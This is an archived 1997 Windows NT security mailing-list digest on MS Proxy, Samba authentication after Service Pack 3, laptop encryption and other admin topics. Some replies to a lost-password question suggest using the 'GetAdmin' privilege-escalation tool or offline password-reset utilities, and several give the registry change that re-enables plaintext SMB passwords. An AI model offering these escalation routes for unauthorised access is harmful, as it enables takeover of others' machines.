On Wednesday, July 09, 1997 14:52, Fred Kolbrener wrote:
> If you are not the person who locked the machine with a screen saver, but
> an administrator, when you log on through the screen saver message screen,
> that action kills the current user's process(es) and logs him/her off and
> drops you at the original login condition (at least in NT 3.51 it does).
> However, there is a short time interval where it is allegedly possible to
> see what was running. The screen saver can be configured in control panel
> if the user has rights to use CP.

During normal shutdown, when one of the programs hangs a window pops up asking 
"This task cannot respond to the whatever message - Wait, End Task, Cancel?".
Do you know what happens in case an administrator kills the current session? 
Are all apps killed instantly or can this window pop up and delay the shutdown,
thereby allowing the admin to do other things with the system?

Nils
-- 
Cornelis van der Laan, Trados Corporation
EMail: nils@trados.com


[Also note that I am only addressing functionality of the Proxy server,
not the RWS (Remote Windows Sockets) service that requires the client.]

>-----Original Message-----
>From: q [SMTP:qqqq@f.gov]
>Sent: Wednesday, July 09, 1997 2:39 PM
>To: Chris Pugrud; 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] RE: MS Proxy Security (NAT or Router?)
>
>Chris,
>
>Your response was quite candid, to say the least. 
>
>Yes I do know what a PROXY is and what function(s) it performs.
>
>[CP] I was confused because of the questions you were asking were generally
>not questions that apply to a proxy (re: NAT)
>
>If a pure Proxy arbitrates access, in this case between applications within a
>network, 
>then why would it care what the transport mechanism is or how it is
>configured .a.k.a.
>the LAT? Which leads me back to my original questions: 
>
>[CP] Because a proxy does not arbitrate. A "pure proxy" performs services
>at the request of clients. It may act as a middleman but it doesn't really
>arbitrate because there is no direct communication between the inside and the
>outside.
>
>In your efforts to guide me towards reference material to help me better
>understand,
>you refer to two Firewall books. So, is the MS Proxy product a trimmed down
>version of
>a Firewall? OBTW: I believe all Firewalls (free and otherwise) have a Proxy
>feature.
>
>[CP] I recommend these books because they have excellent explanations of
>proxy servers and comparisons with other firewall technologies. A proxy
>server can be part of a firewall, but a proxy server alone is not. Many
>firewalls are based on technologies other than proxies (witness checkpoint's
>firewall-1).
>
>>[CP] The LAT table is used by MS Proxy to decide who is on the inside and
>>who is on the outside. All of the addresses in the LAT are assumed to be
>>inside.
>
>If MS Proxy doesn't work at layer 3 then why does it need a LAT? Why not
>just identify interfaces as either inbound or outbound? Two interfaces are
>required -- Right?
>
>[CP] MS Proxy is a true layer 7 application, it's actually farther up than
>that - MS Proxy is an ISAPI (or DLL I can't quite remember) application that
>runs within the confines of IIS. MS Proxy needs a LAT because it has no way
>to know which interface data comes in on.
>
>As for two interfaces, only one interface is required. I have run it in this
>manner behind a FW-1 machine when that was the best solution for a customer.
>In this arrangement the only truly useful part of MS Proxy is the intelligent
>caching.
>
>OTOH: RWS is a layer 3 service ( it could fall between 4 and 5 depending on
>specifically how they did it ).
>
>>
>>Q2: Does anyone really know what the potential security risks
>> associated with MS Proxy are? If so, where are these risks 
>> documented?
>>
>>[CP] Strictly speaking most of the vulnerabilities with MS Proxy are in the
>>NT IP stack. At this point if anybody has uncovered any vulnerabilities in
>>MS Proxy, they haven't shared them. Proxy servers are inherently fairly
>>secure.
>
>I agree that the NT IP Stack is responsible for network transport but I
>believe
>Vulnerabilities have arisen in the recent past (ICMP and POD). But you do
>raise
>another question: Does the NT IP Stack IPC to MS Proxy or a NT service to it?
>Probably the latter. 
>
>[CP] You lost me a little bit here. Data comes in the NT IP stack up to IIS
>which then hands it off to MS Proxy.
>
>>
>>P1: MS Proxy must interrogate the IP packets traversing the machine to 
>> differentiate between an internal versus external destination, of
>>course 
>> if the target port is recognized. Otherwise information would not be 
>> directed to and from the internal host targets. Hey this sounds like
>>a
>> router, and aren't routers by nature insecure? Sure it's task
>>specific
>>and
>> secure to the assigned task, Right?
>>
>>[CP] There really isn't any inbound or outbound. The destination for all
>>packets is the proxy server. For http the proxy server is both an http
>>server and a client. It requests pages from the outside and then serves
>>these pages to the inside. By the time the data gets to the proxy server
>>the
>>packets have been disassembled by the IP/TCP stack. The proxy remembers who
>>requests a page and when it receives that page from the outside server it
>>sends it to the requestor inside, but the proxy server does not operate at
>>the packet level, it works at the application level.
>
>Although technically inbound and outbound transports are not required, the
>product is described by MS in terms of internal versus external access. 
>Specifically, for securing a link to the Internet for corporate users. So in
>this case do you think MS expected to Proxy http access on a single NI?
>
>In the case of the MS Proxy product I'm still trying to understand the need
>to 
>administer IP addresses in a LAT. If what you say is factual and the MS Proxy
>product works at the application layer, then why does it need to know about
>Network layer information?
>
>For the MS Proxy to remember who or what requested information, then some 
>socket to socket operation(s) is occurring?
> 
>[CP] I can't comment on the internal specifics of how MS Proxy tracks
>requests and responses because MS Proxy is a "Black Box" and MS hasn't
>released the poignant details. MS Proxy was designed to work in wither a
>single or double NIC environment (It should be able to work with as many
>NIC's as NT can handle, but I doubt that has been thoroughly tested).
>
>MS Proxy needs the LAT because that is it's crudest form of access control.
>MS Proxy cannot differentiate which interface it is talking through so it
>uses the LAT to decide what in and what's out.
>
>>
>>P: I suppose a dynamic socket to socket translation (internal<->external)
>> operations on a well known port could be... Naaa ... that would make
>> the process simple and the environment easier to administer. You Think?
>>
>>[CP] I'm not quite sure what you are getting at. MS Proxy, by default,
>>does
>>not have any externally accessible services at all. I just realized that
>>you
>>are probably referring or wondering to the RWS (Remote Windows Socket)
>>services in MS Proxy. RWS is an entirely different ballgame. All of above
>>information does only apply to the Proxy half of MS Proxy.
>>
>>As for RWS I am going to need to think more about that one. I know how RWS
>>works in theory, but I have not dug very far into the specifics.
>
>As far as socket to socket conversation is concerned, if this is not
>occurring then
>what Is the need for the client piece of the MS Proxy product. Most of (if
>not all) 
>the browsers available allow for the configuration of a Proxy http Server.
>
>[CP] The client and therefore socket <-> socket conversion is only needed by
>the RWS services. I have not delved far enough into RWS to be able to
>comment on it without turning on my speculator's hat.
>
>OBTW: the information given at MS's homepage about MS Proxy does contain a
>white paper written by Coopers & Lybrand at ->
>
> http://www.microsoft.com/proxy/common/Coopers.exe
>
>This document does contain a good information on how to configure the MS
>Proxy
>product. Additionally, This paper infers that the MS Proxy is a security
>gateway of a
>sort. Kind of sounds like a Firewall....Naaa! couldn't be. That's because you
>must
>secure the NT OS to effect MS Proxy security. Hmmm... 
>
>[CP] I haven't read the C&L paper yet - just read some interesting
>commentary regarding it. I haven't been involved with MS Proxy for several
>months so I haven't found the time for the amusement.
>
>A firewall is a state if mind. A firewall cannot be defined by software or
>hardware specifics. The most effective firewall in many respects is Marcus
>Ranum's wire clippers, but they fail most people's definition of a firewall
>because "allowing necessary business communication" is part of that
>definition.
>
>Not all firewalls use proxy servers, and a proxy server alone is never a
>firewall (it's hard to have a proxy without an OS ;->)
>
>Still looking for answers....
>
>Regards,
>
>RB
>OCNS, Inc.
>
>


A utility was posted publicly which allows any user on an NT system to 
become a member of the administrators group of that system. I am 
wondering if
there is more info on this.

Thanks,

Michael Kilty 
We had a user with the administrator password on a NT standalone 
workstation get fired. He was the only one with the password. Is there 
anyway to get into this machine, or are we hosed?

On another note. Yesterday, I sent out an e mail to my address book, the 
purpose of which was to transfer names to my Netscape e mail. I 
accidentally included this list in the mailing. I sincerely apologize for 
any inconvenience it caused. I only sent it once. I don't know why it got 
sent so many times. It was not intentional. I even waited until I had 
something to post to send this apology. Thanks.

Ronald Golden
rgolden@akamail.com

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
=qRI0
-----END PGP PUBLIC KEY BLOCK-----

Thanks to all who helped me out with the Proxy server and mail/news
problems. I got lots of good suggestions. I'm still unlear what the fix
was, but it seems like it may have be a "User Permissions" problem.
Somehow the PROXYuser was not being used correctly...

Thanx again!
Charlie
At 11:27 7/9/97 +0200, Boris Kraft wrote:
>Is there a tool out there that allows to test for vulnerabilities that
>exist besides tcp/ip connected sites, like say the possibility that
>someone has some terminal emulation program and connects through a
>modem?

Our scanner can detect if RAS has been installed. That obviously doesn't
cover all the bases, but it helps. We also dump all running services to log
and our service list, which makes it easy to spot things you might be
concerned about.

For full details, see the URL in my .sig.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 11:57 7/9/97 -0500, Jeffrey Absher wrote:
>This may seem like a config issue, but it has some serious security
>ramifications here.
>
>OK, Is there an easy way to administratively set all Domain Clients (on
>a per-machine basis, not per-user) to use a screensaver, to make that
>screensaver secure, To set a mandatory timeout, and not allow domain
>users to change these settings.

What you want to do here is set up the default user to have the settings you
want, and then all new users who log in will inherit those settings.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

What version, and do you know of any other accounts on the box? 

If it's 3.51 and Guest is enabled (default), you might be able to put
the recent GetAdmin bug to use, if it works on 3.51 boxes.

> -----Original Message-----
> From: Ronald Golden [SMTP:rgolden@akamail.com]
> Sent: Wednesday, July 09, 1997 2:57 PM
> To: NT Security Mailing List (E-mail)
> Subject: [NTSEC] Lost Administrator Password
> 
> We had a user with the administrator password on a NT standalone 
> workstation get fired. He was the only one with the password. Is
> there 
> anyway to get into this machine, or are we hosed?
> 
> On another note. Yesterday, I sent out an e mail to my address book,
> the 
> purpose of which was to transfer names to my Netscape e mail. I 
> accidentally included this list in the mailing. I sincerely apologize
> for 
> any inconvenience it caused. I only sent it once. I don't know why
> it got 
> sent so many times. It was not intentional. I even waited until I
> had 
> something to post to send this apology. Thanks.
> 
> Ronald Golden
> rgolden@akamail.com
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.2
> 
> mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> =qRI0
> -----END PGP PUBLIC KEY BLOCK-----

> We had a user with the administrator password on a NT standalone 
> workstation get fired. He was the only one with the password. Is there 
> anyway to get into this machine, or are we hosed?

 Well... Let's see. Hmmm... They just announced a "root hack" (Admin
hack) for NT just the other day. If you've got a plain user account on the
system, log in with that and run the "GetAdmin" utility. :-) A use for the
hacker tool! (That is - unless he JUST got fired and managed to apply the
hotfix for the GetAdmin hole before getting himself escorted to the door).

> On another note. Yesterday, I sent out an e mail to my address book, the 
> purpose of which was to transfer names to my Netscape e mail. I 
> accidentally included this list in the mailing. I sincerely apologize for 
> any inconvenience it caused. I only sent it once. I don't know why it got 
> sent so many times. It was not intentional. I even waited until I had 
> something to post to send this apology. Thanks.

 Oh... That was you. Fortunately, it was a busy day and I was unable
to get around to the general entertainment of disembowling whoever the guilty
party was... :-) Apology accepted by the list admin...

> Ronald Golden
> rgolden@akamail.com
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.2
> 
> mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> =qRI0
> -----END PGP PUBLIC KEY BLOCK-----

 Regards,
 Mike
-- 
Michael H. Warfield | Voice: (770)395-0150
Senior Engineer | Fax: (770)395-1972
Internet Security Systems, Inc. | E-Mail: mhw@iss.net mhw@wittsend.com
41 Perimeter Center East, Suite 660 | http://www.iss.net/
Atlanta, GA 30328 | http://www.wittsend.com/mhw/
 PGP Key: 0xDF1DD471 http://www.wittsend.com/mhw/pubkey.txt
www.microsoft.com/security

Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Wed, 9 Jul 1997, Michael Kilty wrote:

> 
> 
> A utility was posted publicly which allows any user on an NT system to 
> become a member of the administrators group of that system. I am 
> wondering if
> there is more info on this.
> 
> Thanks,
> 
> Michael Kilty 
> 
On 9 Jul 97 at 17:57, Ronald Golden wrote:

> We had a user with the administrator password on a NT standalone
> workstation get fired. He was the only one with the password. Is
> there anyway to get into this machine, or are we hosed?

I have a link on my NT web page to a freeware utility which does 
allow you to change the admin password without knowing the old one ;)

Greetings

Frank Heyne
http://rcswww.urz.tu-dresden.de/~fh/
>We had a user with the administrator password on a NT standalone
>workstation get fired. He was the only one with the password. Is there
>anyway to get into this machine, or are we hosed?

Don't give up hope. Yet.

The good news is, just within the last few days I was somewhere and saw a utility along the lines of "recovering from a lost admin password". I thought at the time, I must remember to go download that...

The bad news is, I forgot, and now I can't remember where it was. Perhaps www.windows-nt.com, or one of the other NT sites... BHS?

Regards

Bob

A scan through the archives doesn't show much discussion about this
product.. is anybody using it? Is it easy to manage? Is there a command
line interface? and most importantly is it secure?

Regards,
 Martin Kiff
 m.g.kiff@iaea.org 
I've been given the task of securing travelling users laptop running NT4
workstation at my work. As part of the security policy data encryption
has always been used on laptops.
With DOS/Windows we used PC DACS but this is not available for NT. I've
tested Utimaco's Safeguard easy on two machines but after installing it,
both machines suffered from regular crashes, displaying the dreaded blue
screen and memory dump, so it seems to unreliable. 

Has anyone had any experience with encryting NTFS partitions and can you
recommend any products to accomplish this.




Paul Burtwistle
MIS, Motorola 
Easter Inch 
Bathgate





Have a look at authentex Secur Suite at
http://www.authentex.com/ss.html
Remco Bakker
-- 
 Een veilig net met PointNet Security Systems bv
 http://www.pointnet.nl/pss
 Postbus 38 3880 AA Putten tel 0577 462715 fax 462627
 PointNet Security Systems maakt deel uit van de PointGroup
 te Alphen a/d Rijn
>I have a link on my NT web page to a freeware utility which does
>allow you to change the admin password without knowing the old one ;)

Holy smoke... is nothing sacred any more...

Anyway, to Ronald... you probably won't need this... http://www.ntsecurity.com/Services/Recovery/index.html any more, then. But here it is, just in case...

Regards

Bob

> We had a user with the administrator password on a NT standalone 
> workstation get fired. He was the only one with the password. Is there 
> anyway to get into this machine, or are we hosed?
> 
This is probably solved already with all those advices before, but if
anybody is interested in hardware solution for Digital Venturis FX or
Celebris FX workstations, here is the quote from System Reference book:
-----------------------------------------------------------------------
If You Forget Your Password

Use the following procedure to erase a password from your computer.

1. Turn off your computer and remove the outside cover.
2. Change jumper J1 (pins 1 and 2) to password clear (jumper installed).
3. Reconnect your computer and turn it on.
 Booting your computer with this switch in the on position erases the
 existing password(s).
4. Turn off your computer and remove the outside cover.
5. Change jumper J1 (pins 1 and 2) to normal mode (jumper not installed).
6. Reconnect your computer and turn it on.
7. Using the BIOS Setup utility, assign a new password.
-------------------------------------------------------------------------

A little bit complicated and not elegant at all, but that's what vendor
recommends.

Cheers,

Suzana
 
Hi, maybe it's a known 'feature', sorry in this case...

I just upgraded my NT 4.0 server to Service Pack 3, and...
can't get connect to my samba-esported network drives any more from any
unix machine, regardless the version of Samba. 

On the NT box i get a dialog saying: 
"The account is not authorized to login form this station".
Note that (apparently) I have all the required privileges. I'm system and
domain administrator. And after all it DID work until half an hour ago...
before I upgraded to this bloody SP3.

Nothing appears on the Samba logs. Actually, snooping the traffic between
the client (NT) and the server (unix) i get some netbios packets when the
client asks to the server (\\mycomputer) which resources does it export
(and it does actually get a list of resources), but I get NO TRAFFIC AT ALL
when I say: OK, connect to this specific \\mycomputer\myresource. It seems
rather an NT permission problem. I went through all the users' permissions,
turning on the 'advanced' features, of course, but I don't see anything
that makes sense to me (to solve my problem).

tx very much for any response!
pfm
-- 
--------------------------------------------------------------------------
Pierfrancesco Marsiaj Centre for Earth Observation
System Administrator Space Applications Institute
e-mail: ceo-pfm@jrc.it Joint Research Centre
phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
fax: +39-332-785461 http://www.ceo.org
--------------------------------------------------------------------------
>We had a user with the administrator password on a NT standalone 
>workstation get fired. He was the only one with the password. Is there 
>anyway to get into this machine, or are we hosed?

The Offline Utility to Change NT Passwords:
http://home.eunet.no/~pnordahl/ntpasswd/

I've tried it on NT4.0 SP3(without SYSKEY) with success.

Makoto Shiotsuki

Set the following key in your registry

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters]
"EnablePlainTextPassword"=dword:00000001

Or even better enable encrypted passwords in Samba. The reason for this
behaviour is simply that NT won't accept plain text passwords per
default anymore with SP3.

Michael
--
Dr. Michael Meskes, Project-Manager | topsystem Systemhaus GmbH
meskes@topsystem.de | Europark A2, Adenauerstr. 20
meskes@debian.org | 52146 Wuerselen
Go SF49ers! Go Rhein Fire! | Tel: (+49) 2405/4670-44
Use Debian GNU/Linux! | Fax: (+49) 2405/4670-10

>-----Original Message-----
>From: Pierfrancesco Marsiaj [SMTP:ceo-pfm@jrc.it]
>Sent: Thursday, July 10, 1997 12:07 PM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Problems NT4.0/SP3 <-> Samba 1.9.16
>
>Hi, maybe it's a known 'feature', sorry in this case...
>
>I just upgraded my NT 4.0 server to Service Pack 3, and...
>can't get connect to my samba-esported network drives any more from any
>unix machine, regardless the version of Samba. 
>
>On the NT box i get a dialog saying: 
>"The account is not authorized to login form this station".
>Note that (apparently) I have all the required privileges. I'm system and
>domain administrator. And after all it DID work until half an hour ago...
>before I upgraded to this bloody SP3.
>
>Nothing appears on the Samba logs. Actually, snooping the traffic between
>the client (NT) and the server (unix) i get some netbios packets when the
>client asks to the server (\\mycomputer) which resources does it export
>(and it does actually get a list of resources), but I get NO TRAFFIC AT ALL
>when I say: OK, connect to this specific \\mycomputer\myresource. It seems
>rather an NT permission problem. I went through all the users' permissions,
>turning on the 'advanced' features, of course, but I don't see anything
>that makes sense to me (to solve my problem).
>
>tx very much for any response!
>pfm
>-- 
>--------------------------------------------------------------------------
>Pierfrancesco Marsiaj Centre for Earth Observation
>System Administrator Space Applications Institute
>e-mail: ceo-pfm@jrc.it Joint Research Centre
>phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
>fax: +39-332-785461 http://www.ceo.org
>--------------------------------------------------------------------------
My RAS is set up with a static address pool.

I have one RAS user, who has decided to start playing silly buggers with a mail-bomb program, and so far I've traced it to a specific IP address and time.

Problem is, in the hour leading up to the event, there were approximately 60 ras connx / disconnx

First time I've had to check, but I can't find anywhere where RAS logs which IP it's given to whom and when! Surely this is logged somewhere???

tia

Bob


The SMB protocol can transfer the authentication password in two ways:
plain (unencrypted) or encrypted. By default, Samba server utility
uses only _plain_ passwords.

Before SP3, NT accepts both methods. But after installing SP3, NT
allows authentication only using _encrypted_ passwords (that is, by
default).

There are two possible ways to resolve this problem:
- 1. re-enable use of plain passwords in NT
- 2. configure Samba to use encrypted passwords

1. To enable plain network passwords in post-SP3 NT 4.0:

Add the following key to the Windows registry:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters]

"EnablePlainTextPassword" = 1 (DWORD)


2. To configure Samba to use encrypted passwords:

The instructions can be found in the Samba distribution, in file
'docs/ENCRYPTION.txt'. 

It may be necessary to recompile Samba server software.

Original Message from ceo-pfm @ jrc.it @ net on 07/10:
Hi, maybe it's a known 'feature', sorry in this case...

I just upgraded my NT 4.0 server to Service Pack 3, and...
can't get connect to my samba-esported network drives any more from any
unix machine, regardless the version of Samba. 

On the NT box i get a dialog saying: 
"The account is not authorized to login form this station".
Note that (apparently) I have all the required privileges. I'm system and
domain administrator. And after all it DID work until half an hour ago...
before I upgraded to this bloody SP3.

Nothing appears on the Samba logs. Actually, snooping the traffic between
the client (NT) and the server (unix) i get some netbios packets when the
client asks to the server (\\mycomputer) which resources does it export
(and it does actually get a list of resources), but I get NO TRAFFIC AT ALL
when I say: OK, connect to this specific \\mycomputer\myresource. It seems
rather an NT permission problem. I went through all the users' permissions,
turning on the 'advanced' features, of course, but I don't see anything
that makes sense to me (to solve my problem).

tx very much for any response!
pfm
-- 
--------------------------------------------------------------------------
Pierfrancesco Marsiaj Centre for Earth Observation
System Administrator Space Applications Institute
e-mail: ceo-pfm@jrc.it Joint Research Centre
phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
fax: +39-332-785461 http://www.ceo.org
--------------------------------------------------------------------------
We use SafeBoot on Windows NT4 workstations and it works perfectly
(except some minor problems on some of our Dell Lattitude XPi
machines).

Take a look at http://www.fisc.com

/Dan Bryntze

Paul Burtwistle wrote:

> I've been given the task of securing travelling users laptop running
> NT4
> workstation at my work. As part of the security policy data encryption
>
> has always been used on laptops.
> With DOS/Windows we used PC DACS but this is not available for NT.
> I've
> tested Utimaco's Safeguard easy on two machines but after installing
> it,
> both machines suffered from regular crashes, displaying the dreaded
> blue
> screen and memory dump, so it seems to unreliable.
>
> Has anyone had any experience with encryting NTFS partitions and can
> you
> recommend any products to accomplish this.
>
> Paul Burtwistle
> MIS, Motorola
> Easter Inch
> Bathgate



Hi!

> I just upgraded my NT 4.0 server to Service Pack 3, and...
> can't get connect to my samba-esported network drives any more from any
> unix machine, regardless the version of Samba.
> "The account is not authorized to login form this station".
> Note that (apparently) I have all the required privileges. I'm system and
> domain administrator. And after all it DID work until half an hour ago...
> before I upgraded to this bloody SP3.

:: MS changed the way in which the SMB redirector sends passwords with
 the Service Pack 3, so if you install it, you won't be able to 
 to connect to any Samba server unless you modifies some registry
 entries. Basically, the passwords are now "encripted" by default and
 Samba cannot authenticate them anymore. A more detailed explanation and
 fix is available at
 
http://www.microsoft.com/kb/articles/q166/7/30.htm


--Esteban


At $B8a8e(J 12:06 97/07/10 +0200, you wrote:
> Hi, maybe it's a known 'feature', sorry in this case...
> 
> I just upgraded my NT 4.0 server to Service Pack 3, and...
> can't get connect to my samba-esported network drives any more from any
> unix machine, regardless the version of Samba. 
> 
> On the NT box i get a dialog saying: 
> "The account is not authorized to login form this station".
> Note that (apparently) I have all the required privileges. I'm system and
> domain administrator. And after all it DID work until half an hour ago...
> before I upgraded to this bloody SP3.
> 
> Nothing appears on the Samba logs. Actually, snooping the traffic between
> the client (NT) and the server (unix) i get some netbios packets when the
> client asks to the server (\\mycomputer) which resources does it export
> (and it does actually get a list of resources), but I get NO TRAFFIC AT ALL
> when I say: OK, connect to this specific \\mycomputer\myresource. It seems
> rather an NT permission problem. I went through all the users' permissions,
> turning on the 'advanced' features, of course, but I don't see anything
> that makes sense to me (to solve my problem).
> 
> tx very much for any response!
> pfm
> -- 
> --------------------------------------------------------------------------
> Pierfrancesco Marsiaj Centre for Earth Observation
> System Administrator Space Applications Institute
> e-mail: ceo-pfm@jrc.it Joint Research Centre
> phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
> fax: +39-332-785461 http://www.ceo.org
> --------------------------------------------------------------------------
> 
> 

===============================================
PSINet $B3t<02qipconfig /renew

Windows NT IP Configuration

Error: Access Denied: Renewing adapter "elpc3r7"
----

Is it possible to allow Power Users to renew and release IP addresses?
In that case how do I setup it up to work properly?

Any help would be appreciated

/Dan Bryntze

On Thu, 10 Jul 1997, Pierfrancesco Marsiaj wrote:
> On the NT box i get a dialog saying: 
> "The account is not authorized to login form this station".
> Note that (apparently) I have all the required privileges. I'm system and
> domain administrator. And after all it DID work until half an hour ago...
> before I upgraded to this bloody SP3.

There are three ways out:
http://samba.canberra.edu.au/pub/samba/digest/1997/97may/0112.html
A) the 'bad' way:

>1. Run Registry Editor (REGEDT32.EXE).
>2. From the HKEY_LOCAL_MACHINE subtree, go to the following key:
>\system\currentcontrolset\services\rdr\parameters
>3. From the Edit menu, select Add Value.
>4. Add the following:
>Value Name: EnablePlainTextPassword 
>Data Type: REG_DWORD
>Data: 1

B) the good(?) way:
In your smb.conf file, specify two global lines:
security = server
server = mydomaincontroller.mydomain.com (use the IP or FQDN).

I have heard rumors that this doesn't work for all people, but it did for
me.

C) The 'GOOD' way:
enable encryption on the samba server.
ftp://samba.anu.edu.au/pub/samba/docs/ENCRYPTION.txt

Have fun.


--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


Hello, All:
Recently I tried to run the tool c2config to secure my registry. I
edited the file c2regacl.inf 100% correct and ran the point "Registry
Security". I noticed, that the program jump over severial sections in
the file c2regacl.inf. For example, the ACL of some keys like
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Embedding]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\MCI]
could not be changed using this utility.
Does somebody have more experience with it?
Is the c2config not correctly programmed?

Thanks!


Ning-jing Gao
At 01:27 PM 7/10/97 +0000, you wrote:
>See Microsof knowledge base www.microsoft.com/kb, and search for article
>Q166730
>
>You have to set a registry key:
>
> HKLM\system\CurrentControlSet\Services\RDR\parameters
>
> add a value named: EnablePlainTextPassword
> data type: DWORD
> value: 1
>
>Hope this helps,

It worked perfectly! Thaks to all of you!
pfm
-- 
--------------------------------------------------------------------------
Pierfrancesco Marsiaj Centre for Earth Observation
System Administrator Space Applications Institute
e-mail: ceo-pfm@jrc.it Joint Research Centre
phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
fax: +39-332-785461 http://www.ceo.org
--------------------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,

I evaluated Shade, which performs very good data encryption. A trial version 
is available from:

http://softwinter.bitbucket.co.il/

This program creates a file, which can be mounted and used just like a normal 
HD after typing the password.

Donald


At 08:55 10.07.97 -0000, Paul Burtwistle wrote:
>I've been given the task of securing travelling users laptop running NT4
>workstation at my work. As part of the security policy data encryption
>has always been used on laptops.
>With DOS/Windows we used PC DACS but this is not available for NT. I've
>tested Utimaco's Safeguard easy on two machines but after installing it,
>both machines suffered from regular crashes, displaying the dreaded blue
>screen and memory dump, so it seems to unreliable. 
>
>Has anyone had any experience with encryting NTFS partitions and can you
>recommend any products to accomplish this.
>
>
>
>
>Paul Burtwistle
>MIS, Motorola 
>Easter Inch 
>Bathgate


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM8TNUDMtLCX5yPzjEQIR3gCg+7O+590pQ6mPjxeneSnxufsK7ZsAn2zZ
Jtz8pXAaBRmfnNmz0bMShbFQ
=dyZr
-----END PGP SIGNATURE-----

 \^o^o/
 ,^ ( ..)
---------------oOOo--| \ \--oOOo----------------------------
 '''' \ `^--^ ''''
Donald van de Weyer \ \ \
 ^--^
e-mail: donald@demag.rwth-aachen.de
talk: donald@daiquiri.demag.rwth-aachen.de
WWW: http://users.demag.rwth-aachen.de/donald/
PGP: send a mail with subject: "get public key"
 PGP 5.0 mail preferred

 .oo0O O0oo.
 ( ) ( )
------------------\ (-----) /---------------------------------
 \_)___(_/
 ^\ |___|
 \ `^^^__ /
 `------/
Hi,

Pierfrancesco Marsiaj wrote:
> 
> Hi, maybe it's a known 'feature', sorry in this case...

It is, but never mind.

The key is, that NT from SP3 upwards, encrypts the transmitted Passwords
and Samba won't accept these.

1st Solution: teach NT so send clear Passwords:
Use the registry Editor, in HKEY_LOCAL_MACHINE go to
\system\currentcontrolset\services\rdr\parameters and add
EnablePlainTextPassword, typ 'D_WORD', value '1'.
Be careful with the registry-settings, you can wreck your setup! 
Have a look at the appropiate Web-Site on http://www.microsoft.com
(sorry, I don't have the complete URL handy, it's article Q166730 in the
Knowledge Base).

2nd solution:teach Samba to accept encrypted Passwords (better!).
You'll need libdes from your favorite Unix-mirror-site and a look at
http://samba.canberra.edu.au/pub/samba/digest/1997/97may/0112.html
(there, you also get the Samba-sources. You'll need them to recompile
the stuff). Also look carefully at the Docs in the Samba-distribution
about encryption.

I hope this helps. 

> tx very much for any response!

No problem,

Bye Jens
-- 
Jens-Uwe Schmidt * jus@ix.heise.de 

 iX * Magazin fuer professionelle Informationstechnik
Verlag Heinz Heise * Helstorfer Str. 7 * 30625 Hannover
 Tel +49 511 5352-375 Fax ...-361
RTFRM.

At 12:06 PM 7/10/97 +0200, Pierfrancesco Marsiaj wrote:
>Hi, maybe it's a known 'feature', sorry in this case...
>
>I just upgraded my NT 4.0 server to Service Pack 3, and...
>can't get connect to my samba-esported network drives any more from any
>unix machine, regardless the version of Samba. 
>
>On the NT box i get a dialog saying: 
>"The account is not authorized to login form this station".
>Note that (apparently) I have all the required privileges. I'm system and
>domain administrator. And after all it DID work until half an hour ago...
>before I upgraded to this bloody SP3.
>
>Nothing appears on the Samba logs. Actually, snooping the traffic between
>the client (NT) and the server (unix) i get some netbios packets when the
>client asks to the server (\\mycomputer) which resources does it export
>(and it does actually get a list of resources), but I get NO TRAFFIC AT ALL
>when I say: OK, connect to this specific \\mycomputer\myresource. It seems
>rather an NT permission problem. I went through all the users' permissions,
